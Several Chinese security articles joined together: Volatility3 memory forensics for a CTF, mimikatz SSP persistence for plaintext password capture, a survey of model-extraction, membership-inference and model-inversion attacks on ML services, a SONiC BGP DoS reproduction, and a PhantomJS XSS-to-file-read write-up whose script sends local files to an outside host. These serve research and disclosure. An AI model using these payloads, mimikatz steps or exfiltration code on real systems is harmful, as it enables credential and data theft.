└─$ wget https://launchpad.net/ubuntu/+archive/primary/+files/linux-image-unsigned-5.15.0-48-generic-dbgsym_5.15.0-48.54_amd64.ddeb
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ cd ../
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ docker run -it --rm -v $PWD:/volatility ubuntu:18.04 /bin/bash
┌──(root㉿DockerID)-[/]
└─$ cd volatility/dwarf2json
┌──(root㉿DockerID)-[/volatility3/dwarf2json]
└─$ dpkg -i linux-image-unsigned-5.4.0-84-generic-dbgsym_5.4.0-84.94_amd64.ddeb
┌──(root㉿DockerID)-[/volatility3/dwarf2json]
└─$ ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux5.4.0-84-generic > linux-image-5.4.0-84-generic.json
#退出Docker
┌──(root㉿SanDieg0)-[/mnt/d/volatility3/]
└─$ cp linux-image-5.4.0-84-generic.json ./volatility3/volatility3/framework/symbols/linux
Vol3的符号表编译完成，然后按照正常内存取证的步骤解析内存镜像就好了
## Examples
### 2022 Sekai CTF | symbolic-needs 1
按照上面构造符号表的方法，先判断当前系统版本和Linux 内核版本，再制作符号表，这个题目很巧，给了`Ubuntu 22.04 Linux-version
5.15.0-43-generic`，当前版本，Vol2是不支持的，必须用Vol3。
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ wget https://launchpad.net/ubuntu/+archive/primary/+files/linux-image-unsigned-5.15.0-43-generic-dbgsym_5.15.0-43.46-generic_amd64.ddeb
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ cd ../
┌──(root㉿SanDieg0)-[/mnt/d/volatility3]
└─$ docker run -it --rm -v $PWD:/volatility ubuntu:22.04 /bin/bash
┌──(root㉿DockerID)-[/]
└─$ cd volatility/dwarf2json
┌──(root㉿DockerID)-[/volatility3/dwarf2json]
└─$ dpkg -i linux-image-unsigned-5.15.0-43-generic-dbgsym_5.15.0-43.46_amd64.ddeb
┌──(root㉿DockerID)-[/volatility3/dwarf2json]
└─$ ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.15.0-43-generic > linux-image-5.15.0-43-generic.json
#退出Docker
┌──(root㉿SanDieg0)-[/mnt/d/volatility3/]
└─$ cp linux-image-5.4.0-84-generic.json ./volatility3/volatility3/framework/symbols/linux
┌──(root㉿SanDieg0)-[/mnt/d/volatility3/]
└─$ python3 vol.py -f /mnt/f/20022Sekai/dump.mem linux.bash
Volatility 3 Framework 2.4.0
PID Process CommandTime Command
1863 bash 2022-08-29 13:45:56.000000 72.48.117.53.84.48.110.95.119.51.95.52.114.51.95.49.110.33.33.33
<https://www.qqxiuzi.cn/bianma/ascii.htm>
最近祥云杯也有一道内存取证题目，不过可以直接非预期出，就不放祥云杯了 | 社区文章 |
### 一、简介
SSP（Security Support
Provider）是windows操作系统安全机制的提供者。简单的说，SSP就是DLL文件，主要用于windows操作系统的身份认证功能，例如NTLM、Kerberos、Negotiate、Secure
Channel（Schannel）、Digest、Credential（CredSSP）。
SSPI（Security Support Provider
Interface，安全支持提供程序接口）是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
如果获得目标系统system权限，可以使用该方法进行持久化操作。其主要原理是：LSA（Local Security
Authority）用于身份验证；lsass.exe作为windows的系统进程，用于本地安全和登录策略；在系统启动时，SSP将被加载到lsass.exe
进程中。但是，假如攻击者对LSA进行了扩展，自定义了恶意的DLL文件，在系统启动时将其加载到lsass.exe进程中，就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录，攻击者依然可以获得该账号的新密码。
### 二、实验操作
#### 实验一：
使用mimikatz将伪造的SSP注入内存，这样做不会在系统中留下二进制文件，但如果域控制器重启，被注入内存的伪造的SSP将会丢失。
privilege::debug
misc::memssp
注销当前用户重新登录，即可获取明文密码，密码存储在日志文件C:\Windows\system32\mimilsa.log中。
type C:\Windows\system32\mimilsa.log
#### 实验二：
将mimikatz中的mimilib.dll
放到系统的C:\Windows\system32目录下（DLL的位数需要与windows位数相同），并将mimilib.dll添加到注册表中，使用此方法即使系统重启，也不会影响到持久化的效果。
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
注意：最后一步修改注册表需要在powershell命令行下操作，cmd下可能会报错。
查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。
系统重启后，若dll被成功加载，用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。
type C:\Windows\system32\kiwissp.log
### 三、安全防御措施
1.检查注册表
hklm\system\currentcontrolset\control\lsa\Security Packages位置是否存在可疑dll。
2.检测%windir%\System32 是否有可疑 dll
3.使用第三方工具 Autoruns 检测 LSA中是否存在可疑dll。
Autoruns下载：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns>
参考链接：
<https://www.cnblogs.com/websecyw/p/11804624.html>
<https://www.cnblogs.com/xiaozi/p/11834327.html> | 社区文章 |
# AI与安全「2」：Attack AI（5）偷人又偷心，破坏机器学习模型机密性的三种手法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文是[《AI与安全》系列文章](https://www.zuozuovera.com/category/sec_datascience/)的第7篇。
如今，机器学习已演化为了一种服务模式，即 **机器学习即服务** ( **Machine learning as a service**
)。互联网公司通过模型调用接口来满足用户对各类机器学习模型的使用需求，如Google的多种预测API、亚马逊机器学习(AmazonML)、MicrosoftAzure机器学习
(Azure
ML)等。在这些平台上，使用者不清楚模型和训练算法的实现细节，仅能进行简单的模型选择工作，模型的结果也高度依赖于输入模型的数据质量和打标结果。机器学习服务提供商通过用户调用该API的费用来收费，因此对于用户而言，这些API接口都是黑盒。
> MLaaS架构
针对这样的黑盒，攻击者有办法获取到模型的细节或是模型背后的数据吗？
答案是，有的，而且不止一种。
在本文中，我们就将介绍黑客破坏模型机密性的三种方法，分别是针对模型的模型萃取攻击（Model Extraction
Attacks）和针对数据的成员推理攻击（Membership Inference Attacks）和模型逆向攻击（Model Inversion
Attack）。
>
> 机器学习模型的机密性指：机器学习系统必须保证未授权用户无法接触到模型的相关信息，包括模型本身的信息（如模型参数、模型架构、训练方式等）和模型用到的训练数据。
## 1-模型萃取攻击
模型萃取攻击（Model Extraction
Attacks），也称为模型提取攻击，是一种攻击者通过循环发送数据并查看对应的响应结果，来推测机器学习模型的参数或功能，从而复制出一个功能相似甚至完全相同的机器学习模型的攻击方法。
这种攻击方法由Tramèr等人在2016年提出，并发表于信息安全顶级会议Usenix上，并分别展示了针对函数映射类模型（LR、SVM、神经网络）、决策树模型和不输出置信度的模型的提取方式。
### 1.1 针对函数映射类模型
对于逻辑回归（LR）、支持向量机(SVM)、神经网络（NN）这类算法而言，我们可以将其模型看做是一个函数f(x)，模型的输入是x，模型的输出结果是f(x)，模型在训练过程中通过优化函数f(x)里的参数来达到分类的目的。因此，如若我们想要对这类模型进行萃取，只需求解f(x)里的参数值就可以了，实际上就是一个解方程的过程。
如对于下图中的逻辑回归模型：
$f(x) = frac{1}{1 + e^{-(w * x + b)}}$
函数的参数是 w 和 b，其中w是n维的权重向量，b 是偏置向量。我们对 sigmod 函数进行求反，得到一个线性函数 $w*x + b$，因为$w$
是n维的权重向量，b是1维的偏置向量，因此总共有n+1个参数需要求解，也就是说，至少需要n+1个等式就可以借出这个方程，所以从理论上而言，我们只需要查询
n+1 次便可窃取到这个逻辑回归模型。
而对于多分类模型，只需要举一反三即可。
多分类模型要完成对 c（c>2）个类别进行分类，置信度则是输入在每个类别的概率分布，输出的置信度是 n 维向量。则其输出的置信度公式为
其未知参数有 c*(n+1)个（每个类别存在 n+1
个未知数），且为非线性函数。换而言之，我们通过多次访问构建的方程组是非线性方程组，且每个方程都是超越方程。针对这种情况，我们可以利用梯度下降方法来实现对方程的求解：构造一个损失函数为凸函数，转化为凸优化问题求解，其中全局最优解为模型的参数。
### 1.2 针对决策树
与回归模型相反，决策树不计算输入值属于某个分类的概率，而 是将输入分隔成多个离散区域，并给每个区域分配标签和置信度值。
决策树上每个叶子节点都有其对应的置信度值。假设每个叶子节点都有不同的置信度值，则可利用置信度作为决策树叶子节点的伪标识。同时，很多 MLaaS 提供商为
了提升 API 访问的可访问性，即使输入数据是部分特征依然可以得到输出结果。这就为针对决策树进行路径寻找攻击提供了必要条件。
简单来说，针对决策树模型的提取是自顶向下的，首先我们获取到决策树根节点的标识，之后依次设置不同的特征来到达不同的节点，递归搜索决策树的结构特征。
### 1.3 针对不输出置信度的模型
为了避免遭受到模型萃取攻击，部分云厂商不再提供机器学习预测结果的置信度，而只给出“是”或“否”的答案。但论文作者表示，这类模型仍然可能遭受到模型萃取攻击。
如上图所示，首先，攻击者随机生成样本并输入目标模型，得到预测结果。然后将这些数据作为训练集，在本地训练一个和目标模型同类的本地模型，将靠近本地模型分类边界的数据点抽取出来，再对目标模型进行访问，获得新的训练集，并继续更新本地模型，直到本地模型和目标模型的误差足够小。
这样，本地模型就高度相似于目标模型了。
### 1.4 模型水印
除了隐藏输出结果的置信度外，为了避免模型被盗用、保护知识产权，IBM的研究者提出了模型水印( watermarking)的概念。
如上图所示——
1. 首先算法人员基于训练集，生成一系列带有水印的数据集，如上图中的automobile和airplane, 其中airplane是嵌有水印的图片
2. 然后将训练集和带有水印的数据一起输入到神经网络中
3. 如果竞争者盗用了他们的模型，那么当输入带水印的图片时，对方的模型就会将其识别为airplane，而不是automobile，以此证明对方剽窃了自己的模型
研究人员开发了三种算法来生成三种类型的水印：
* 将“有意义的内容”与算法的原始训练数据一起嵌入模型
* 嵌入不相关的数据样本
* 嵌入噪声
## 2-成员推理攻击
成员推理攻击（Membership Inference Attacks）是指给定数据记录和模型的黑盒访问权限，判断该记录是否在模型的训练数据集中。
这个攻击的成立主要是基于这样一个观察结果：对于一个机器学习模型而言，其对训练集和非训练集的uncertainty 有明显差别，所以可以训练一个Attack
model 来猜某样本是否存在于训练集中。
如对于上图所示，首先，攻击者将一个样本输入到目标模型中，并获得相应的预测结果，然后将样本的标签、目标模型的预测结果输入到Attack
Model里，判断这个记录是否在目标模型的训练集中。
由于Attack Model需要训练集才能生成，因此作者进一步提出了影子模型（shadow model）这个概念。
影子模型很好理解，生成方式和模型萃取攻击相似，即影子模型 T’ 与目标模型 T 的架构要一样，然后随机生成data x，把 x 输入 T 得到的label
预测结果p当作 y，再用这些(x, y) 去训练 T’。 因为两个模型的架构相同， T 与 T’ 预测的机率分布也是相似的，所以针对影子模型 T’ 的
attack model 也可以对目标模型 T 做成员推理攻击。
影子模型训练数据的生成方式：
* 基于模型的合成方式 Model-based synthesis：如果攻击者没有真正的训练数据,也没有关于其分布的任何统计，他可以利用目标模型本身为影子模型生成合成训练数据。直观来看，高置信度的目标模型分类的记录应当在统计上类似于目标的训练数据集，因此能用于训练影子模型。
* 基于统计的合成方式 Statistics-based synthesis ：攻击者可能拥有目标模型的训练数据的一些统计信息。例如，攻击者可能事先知道不同特征的边缘分布。在实验中，可以通过独立地从每个特征的边缘分布中进行采样，来生成影子模型的训练集。
* 含噪音的真实数据 Noisy real data ： 攻击者可以访问一些与目标模型的训练数据类似的数据，这些数据可以被视为“噪音”版本。
生成影子模型后，构造攻击模型的训练集（训练集的标签，和影子模型的输出结果），并对攻击模型进行训练就好了。
**防御手段：**
1. 一些防止 overfitting 的方法可以用来防御成员推理攻击，如 droupout、regularization
2. 对预测结果做一些后续处理也可以防御成员推理攻击，如取 top k classes、rounding、增加 entropy 等手法
## 3-模型逆向攻击
破坏模型机密性的第三种手段是模型逆向攻击（Model Inversion
Attack）。这种攻击方法利用机器学习系统提供的一些API来获取模型的一些初步信息，并通过这些初步信息对模型进行逆向分析，获取模型内部的一些隐私数据。这种攻击和成员推理攻击的区别是，成员推理攻击是针对某一条单一的训练数据，而模型逆向攻击则是倾向于取得某个程度的统计信息。
例如，用模型和某位病患的人口属性，可以回推出该病患的遗传资料（即该模型的input）;
用一个名字（模型的output）回推出这个人的脸部影像，如上图所示，图右是训练集中的原图，图左是从模型逆向中推出的这个人的长相，攻击者只有这个人的名字和人脸识别模型的API调用权限。
这种攻击是怎么进行的呢？我们用最简单的线性回归模型来举例。
如上所示，假如我们有一个基于病人的人口统计信息、医疗记录和基因特征来预测病人应该服用多少剂量药物的线性回归模型。我们假定基因特征是敏感特征x1,
那么模型逆向攻击的目的就是通过构造大量的样本，来推断病人的基因特征x1的值是多少。
这里，模型的表达式为y =
f（x_1，…，x_d）。首先，攻击者需要对病人的其他信息有一定了解，如人口统计信息和医疗记录，从而减少遍历次数，其次，攻击者需要知道x1的取值范围是多少。之后，只要通过不停构造测试数据，并将模型返回的结果和实际结果进行对比，就可以获得该患者的敏感特征x1了。
如果我们对数据源一无所知，只有一个标签，比如姓名，还可以发起攻击吗？
我们拿人脸识别系统来举例。
首先，因为我们对数据源一无所知，我们需要用随机生成的输入向量来冷启动攻击，然后通过在输入空间使用梯度下降来最大化模型在目标预测值上的置信度，当误差小于我们指定的阈值时，模型暂停，获得重构的人脸。
详细的过程比较复杂，感兴趣的同学可以自行参考这篇论文：
> Fredrikson M, Jha S, Ristenpart T. Model inversion attacks that exploit
> confidence information and basic countermeasures[C]//Proceedings of the 22nd
> ACM SIGSAC Conference on Computer and Communications Security. ACM, 2015:
> 1322-1333.
## references
[1] Chakraborty A, Alam M, Dey V, et al. Adversarial attacks and defences: A
survey[J]. arXiv preprint arXiv:1810.00069, 2018.
[2] Zhang J, Gu Z, Jang J, et al. Protecting intellectual property of deep
neural networks with watermarking[C]//Proceedings of the 2018 on Asia
Conference on Computer and Communications Security. 2018: 159-172.
[3] Tramèr F, Zhang F, Juels A, et al. Stealing machine learning models via
prediction apis[C]//25th {USENIX} Security Symposium ({USENIX} Security 16).
2016: 601-618.
[4] Shokri R, Stronati M, Song C, et al. Membership inference attacks against
machine learning models[C]//2017 IEEE Symposium on Security and Privacy (SP).
IEEE, 2017: 3-18.
[5] Fredrikson M, Lantz E, Jha S, et al. Privacy in Pharmacogenetics: An End-to-End Case Study of Personalized Warfarin Dosing[C]//USENIX Security
Symposium. 2014: 17-32.
[6] Fredrikson M, Jha S, Ristenpart T. Model inversion attacks that exploit
confidence information and basic countermeasures[C]//Proceedings of the 22nd
ACM SIGSAC Conference on Computer and Communications Security. ACM, 2015:
1322-1333. | 社区文章 |
# 利用AS_PATH Prepend达成SONIC BGP协议DOS案例复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
SONiC是一个面向一个开源的交换机操作系统，Software for Open Networking in the
Cloud，简称SONiC。GitHub Repo：<https://github.com/Azure/SONiC>
本文基于SONIC202012，从搭建环境开始，讲解BGP协议DOS攻击的复现，使用gdb调试工具结合到代码和原理对漏洞的原因进行分析。
## 一、使用KVM+ONIE承载SONiC
SONiC是构建网络设备（如交换机）所需功能的软件集合，它必须要有Base OS才能运行，我们用ONIE来承载SONIC。
一开始尝试手动搭建的构建方法，发现各种库没装，装好了编译途中坎坷不断，后来发现官方提供了安装好各种编译环境的容器：<https://github.com/opencomputeproject/onie/tree/2021.05-rc1/contrib/build-env>
### 1\. 用Docker进行快速编译ONIE
先克隆ONIE的Repo，切换到容器目录，然后安装docker，构建容器
cd ~
git clone -b 2021.05-rc1 https://github.com/opencomputeproject/onie
mkdir ~/src
mv onie src/.
cd src/onie/contrib/build-env
sudo apt-get update
sudo apt install docker.io
sudo docker build -t debian:build-env .
到了这里，镜像就建好了，用下列命令进入容器
mkdir --mode=0777 -p ${HOME}/src
docker run -it -v ${HOME}/src:/home/build/src --name onie debian:build
>
> 如果期望分区表为MBR，则需在machine/kvm_x86_64/machine.make把`PARTITION_TYPE`改成`msdos`，默认情况下是`gpt`，有镜像上云的需求需要在这里修改分区表
然后开始编译
cd src/onie
cd build-config/
make -j16 MACHINE=kvm_x86_64 all recovery-iso
进行到一半了
镜像编译完成
看一下生成好的镜像
退出容器，打个包下载下来
exit
cd ~/src/onie/build/
tar -zcvf ~/images.tar.gz images/
### 2\. 安装SONiC到ONIE
文件下载：
1. 从Jenkins上可以下载到sonic-vs.bin：[sonic-vs.bin](https://sonic-jenkins.westus2.cloudapp.azure.com/job/vs/job/buildimage-vs-image-202012/)
2. [OVMF.fd (boot=uefi时必须)](https://github.com/clearlinux/common/blob/master/OVMF.fd)
参考文档：
1. [KVM安装步骤参考](https://cloud.tencent.com/developer/article/1657533)
2. [在KVM上安装Onie](https://github.com/opencomputeproject/onie/blob/master/machine/kvm_x86_64/INSTALL)
目录结构组织参考
步骤开始：
下载 [mk-vm.sh](https://github.com/opencomputeproject/onie/blob/master/machine/kvm_x86_64/mk-vm.sh)
创建空的磁盘镜像：
qemu-img create -f qcow2 onie-x86-demo.img 10G
按目录结构配置mk-vm.sh的`CDROM`,`DISK`,`OVMF`，然后`mode`先指定成`cdrom`，`boot` **必须**
指定`bios`，内存 **必须**`4096`。运行`./mk-vm.sh`（图中指定了`boot=ueif`、内存`2048`，导致后续
**安装失败** ，已更正)
* 内存`2048`失败的原因：启动ONIE时`/tmp`分区的大小与内存有关，需要有充足的空间供SONIC镜像存放并解包安装
* `boot=uefi`时失败的原因：在`grub-install`的时候卡住，根本原因和SecureBoot有关，参见[Issue](https://github.com/opencomputeproject/onie/issues/757)）
启动后马上进`onie-embed`自动开始安装onie，没进成功进了recovery，想要回到grub请reboot
`CTRL` \+ `SHIFT` \+ `]` 可以退出KVM，回到telnet敲quit退出到终端，退出时会有提示可以使用`sudo kill
$kvm_pid`杀死KVM进程
装完后有sonic-vs.bin的目录下，宿主机起一个httpserver
python3 -m http.server
rescue模式进入ONIE，`onie-nos-install http://虚拟机内网IP/sonic-vs.bin`
选择SONIC启动项
过一会就进系统了！！
默认用户名密码：admin/YourPaSsWoRd
### 3\. 附加部分：从制作镜像到上云
> 为什么要上云？
> 制作好了镜像，在云上可以直接登录云服务器进行操作，无需复杂的环境配置，等于是开箱即用
这里以腾讯云为平台，进行了SONiC镜像上云的实践。
首先，根据腾讯云文档[导入镜像](https://cloud.tencent.com/document/product/213/4945)一节的要求，分区表类型不支持GPT，所以我们：
1. 重新编译了一个分区类型为MSDOS的镜像，修改`build-config/arch/x86_64.make`找到里面的`PARTITION_TYPE`改成`msdos`后按原来的样子重新编译
2. 并在用`qemu-img`创建磁盘镜像时，指定磁盘大小`40G`
3. 进入装好的SONIC，参照腾讯云文档，按照要求：先检查`VirtIO`驱动：<https://cloud.tencent.com/document/product/213/9929>然后安装`CloudInit`组件：<https://cloud.tencent.com/document/product/213/12587>其中在执行`pip install -r requirements.txt`时需要`sudo`并且把`pip`改为`pip2`
4. 装好组件后，上传到腾讯云COS存储桶中
5. 导入镜像
6. 直接从镜像创建云服务器
7. 登录云服务器
## 二、DOS案例复现
交换机`vtysh`常用命令：
1. `?`查帮助
2. 用`no`开头的命令，比如`no ip addr 180.0.3.1/24`可以对相关命令取反向的效果
3. 在进入`config`时，`do XXX`(xxx是show开头的查询类命令)可以查看结果
4. `show ip route`查看路由表
5. `show interfaces`查看所有接口
6. `show ip bgp summary`查看bgp摘要
7. `show ip bgp neighbors`查看所有bgp的邻居
云服务器资产：
进行下列配置之前，先在VPC上配置路由表，并把路由表应用到两台SONIC所在的子网
具体配置一览如下
标识 | 内网IP | Ethernet8 IP
---|---|---
SONIC1 | 172.17.16.17/20 | 192.168.3.1/24
SONIC2 | 172.17.16.9/20 | 192.168.3.2/24
### 1\. 网络拓扑
SONIC1
#配置端口IP地址
SONiC1(config):interface Ethernet8
SONiC1(config-if):ip addr 192.168.3.1/24
#建立路由
SONiC1(config):ip route 192.168.3.2/32 172.17.16.9
#清除预设的bgp as
SONiC(config):no router bgp 65100
#建立IBGP邻居，65100是默认的AS号
SONiC(config):router bgp 65100
SONiC1(config-router):neighbor 192.168.3.2 remote-as 65100
SONiC1(config-router):neighbor 192.168.3.2 update-source Ethernet8
//非物理端口建立连接要声明建立连接的端口
SONIC2
#配置端口IP地址
SONiC1(config):interface Ethernet8
SONiC1(config-if):ip addr 192.168.3.2/24
#建立路由
SONiC1(config):ip route 192.168.3.1/32 172.17.16.17
#清除预设的bgp as
SONiC(config):no router bgp 65100
#建立IBGP邻居，65100是默认的AS号
SONiC(config):router bgp 65100
SONiC1(config-router):neighbor 192.168.3.1 remote-as 65100
SONiC1(config-router):neighbor 192.168.3.1 update-source Ethernet8
//非物理端口建立连接要声明建立连接的端口
进行上述配置之后，进行验证， **应确保如下所示的条件** ，才可进行下一步：
* SONIC1可以通过`192.168.3.2`到达通SONIC2
* SONIC2可以通过`192.168.3.1`到达通SONIC1
* SONIC1/2互相可以获取到对方的`ROUTER ID`
具体说明：
以SONIC1为例，执行了`ping 192.168.3.2`和`show ip bgp neighbors`进行结果验证：
* 首先，ping结果正常，如果ping都不通更别想玩bgp了
* 且bgp邻居的截图中，`remote router ID`不为`0.0.0.0`，`local router ID`是刚刚配置的`192.168.3.1`自己的IP，并且状态为已建立连接：`BGP state = Established`
信息统计中不全为0，有收发记录
### 2\. 漏洞复现
先在SONIC1进行配置
sonic# configure terminal
sonic(config)# router bgp 65100
sonic(config-router)# address-family ipv4 unicast
sonic(config-router-af)# aggregate-address 20.0.0.0/24 summary-only route-map 1
sonic(config-router-af)# exit-address-family
sonic(config-router)# route-map 1 permit 1
sonic(config-route-map)# set as-path prepend 1 2 3 4 5
然后在SONIC2配置
sonic# configure terminal
sonic(config)# interface Ethernet20
sonic(config-if)# ip addr 20.0.0.1/31
sonic(config-if)# interface Ethernet24
sonic(config-if)# ip addr 20.0.0.3/31
sonic(config-if)# router bgp 65100
sonic(config-router)# address-family ipv4 unicast
sonic(config-router-af)# redistribute connected
敲完最后一句后，过一会SONIC1的终端就有bgpd服务掉线的反馈信息
在SONIC1敲`docker logs bgp`，可以在日志里看见bgpd非正常退出了
### 3\. 原因挖掘
bgpd的可执行文件在docker-fpm-frr(Name: bgp)的/usr/lib/frr/bgpd
进入bgp容器，gdb attach上`bgpd`进程，然后敲个`c`让他继续执行代码
docker exec -it bgp /bin/bashps -aux | grep "bgpd"gdb -p xxxc #continue
等coredump的时候，gdb会自动断下来，显示代码停在了`bgpd/bgp_aspath.c:2053`函数是`aspath_cmp`
`layout asm`可以看汇编
经过比较，所示汇编代码对应即为该文件的2053行，<https://github.com/Azure/sonic-frr/blob/df7ab485bde1a511f131f7ad6b70cb43c48c8e6d/bgpd/bgp_aspath.c#L2053>
gdb里`bt`，看一下trace，调用`aspath_cmp()`函数的时候，第一个参数是`0x0`，bug找到了：`aspath_cmp()`没有对传来的参数进行空指针判断
有了源码分析，我们知道关于BGP Prepend，是有一个BGP Prepend
Hijacking的安全问题，意思是攻击者可以利用Prepend来修改AS_PATH控制流向目标网络的流量。
在回到我们刚才的配置：
* SONIC1聚合20.0.0.0/24的路由，在路径上进行prepend，把`AS1~5`都加入到了路径的左侧，这样去往AS65100的流量，都必然经过AS1~5
* SONIC2对20.0.0.1/31和20.0.0.1/31进行了发布，SONIC1收到了发布的流量，聚合操作的设定把20.0.0.1/31和20.0.0.1/31加入到自己的Summary里，但是在聚合的时候，需要确定Next Hop，而`AS1`在网络拓扑中根本不存在，聚合操作找不到这个AS号，所以就崩溃了
在如上所示的场景中，是SONIC进行了Prepend修改AS_PATH，倘若是攻击者实施的AS_PATH
Prepend，攻击者的目的就达成了——利用Prepend把不存在的AS加入BGP网络达成DOS攻击。
## 三、总结
BGP导致的大型安全事件数不胜数，被劫持网络流量、引起大规模的网络故障，大多数都是基于BGP协议的传播性，由单点扩散到全局。对漏洞的深入探究和其他BGP协议的漏洞，可以参照KCon2018的议题《BGP安全之殇》。
文章是根据学校实验课程的大作业实践经历改编，作者自己也是在作业的引导之下，第一次研究关于BGP协议方面的漏洞，上文理解和描述可能存在略有不足之处，欢迎大佬们斧正指出错误。 | 社区文章 |
# 【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
##### 译文声明
本文是翻译文章，文章来源：buer.haus
原文地址：<http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言
**
最近我被邀请研究某个漏洞奖励项目，这个项目可以根据用户的输入生成一幅图片，以供用户下载。经过一段时间的探索，我找到了一条漏洞利用路径，可以利用图片内部的XSS漏洞最终实现服务器上本地任意文件的读取。这个项目涉及客户隐私，因此我会在保护隐私的前提下，尽可能详细地与大家分享技术细节。
**二、技术细节**
用户的正常请求遵循如下样式：
https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500
服务器输出的文件如下所示：
一开始时，我对请求URL中的background参数比较感兴趣，因为这个参数可以指定文件名，值得好好探索一番。然而经过仔细的研究，我发现真正存在漏洞的是header这个变量，该变量容易受到某种形式的HTML注入攻击的影响。我曾经学习过如何利用PDF文件内部的XSS漏洞触发严重漏洞的文章，因此我决定借鉴类似思路，进一步挖掘这个漏洞。
发送的请求如下：
https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500
对应的输出为：
将随机的HTML元素放到这个变量中后，我注意到大多数元素都会被成功渲染，比如iframe、img、script等。我决定以我自己的服务器为目标，看看能否获取更多信息，了解哪个程序在具体负责处理HTML数据。
发送的请求如下：
https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500
相应的输出为：
在自己搭建的服务器上，我观察到如下信息：
[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
请求报文中的User-Agent字段表明目标服务器使用的是PhantomJS这种无界面浏览器（headless
browser）客户端来加载HTML页面并生成图片数据。我对Phantom已经有一定的基础，因为它经常出现在CTF比赛中，并且我在自研的在线扫描器中也用到了这个工具来对网页进行截屏。早点得到这个信息是件好事，因为它回答了我在挖掘这个项目的漏洞时遇到的一些问题。
我遇到的第一个问题就是无法通过基本的载荷来保持JavaScript的持续运行。<script></script>无法正确执行，而<img src=x
onerror=>的触发结果又不能保持一致性。经过测试，我发现100次尝试中只有1次成功完成了window.location的重定向。在某些情况下，测试载荷完全不会执行。更为严重的是，当我尝试重定向到另一个页面时，服务器返回了某些异常信息。
发送的请求如下：
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="window.location='https://xss.buer.haus/'" />&text=&width=500&height=500
服务器的响应为：
{"message": "Internal server error"}.
我总共尝试了50种不同类型的载荷，最后才意识到问题应该出自于PhantomJS的某种条件竞争缺陷。之前我在开发网页扫描器时，需要为Phantom写一款插件，当时也碰到了类似的问题，当时我尝试对某些网页进行截屏，程序没有等到JavaScript完全加载就已经返回了结果。
我需要找到一种解决办法，使得Phantom在截图渲染完毕之前处于等待状态，直到JavaScript加载完成为止。经过多次尝试后，最终我通过document.write函数完全覆盖了页面内容，这种方法似乎解决了这一问题，虽然我没搞清具体的原因。
具体的请求如下：
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write('test')" />&text=&width=500&height=500
服务器返回的响应为：
此时此刻，对于每个页面的加载过程，我都能获得一致性的JavaScript执行结果。下一步我需要做的就是尽可能多地收集PhantomJS的信息，以及当前页面执行点所在的上下文内容及具体位置。
发送的请求如下：
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write(window.location)" />&text=&width=500&height=500
服务器返回的响应如下：
从响应消息中我们可以发现，当前我们的执行点源自于“file://”处，这是一个HTML文件，位于“/var/task/”目录中。现在我想测试一下我能否利用iframe方式引用这个文件，以确认我与“/var/task/”位于同一个源。
发送的请求如下：
https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500
服务器返回的响应如下：
现在我至少可以确定我能够加载“/var/task/”目录中的文件，因此接下来我想进一步确认是否能够加载其他目录（如/etc/目录）中的文件。
发送的载荷如下：
&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
然而服务器没有任何反馈。
我Google了一下“/var/tasks”，发现这个目录与AWS
Lambda有关。根据搜索结果，我发现这个目录中存在某些文件，应该会包含Phantom插件的源代码，比如“/var/task/index.js”。我认为“/var/”目录中的这些文件可能会向我提供更多的信息，或者至少会包含某些值得分析的数据。
如果使用XHR技术、发送Ajax请求，我应该可以加载这些文件的内容，然后在图片中显示这些内容，或者将这些内容传输到我的服务器。当我想在document.write中直接使用这种JavaScript脚本时，我碰到了其他一些问题，最终我通过加载外部脚本的方式成功绕过了这些问题。
使用的载荷如下：
&header=<img src="xasdasdasd" onerror="document.write('<script src="https://xss.buer.haus/test.js"></script>')"/>
test.js内容如下：
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///var/task/[redacted].html");
oReq.send();
想在不暴露敏感信息的同时向大家展示结果是件很困难的事情，因此在这里我就随便以服务器中的访问日志为例，展示我们所能获取的数据信息：
因此，我们已经能够通过越界JavaScript以及XHR技术，脱离file://文件的束缚，实现任意文件的读取。现在让我们再次将脚本指向“/etc/passwd”，检查是否能够读取到iframe无法读取的信息：
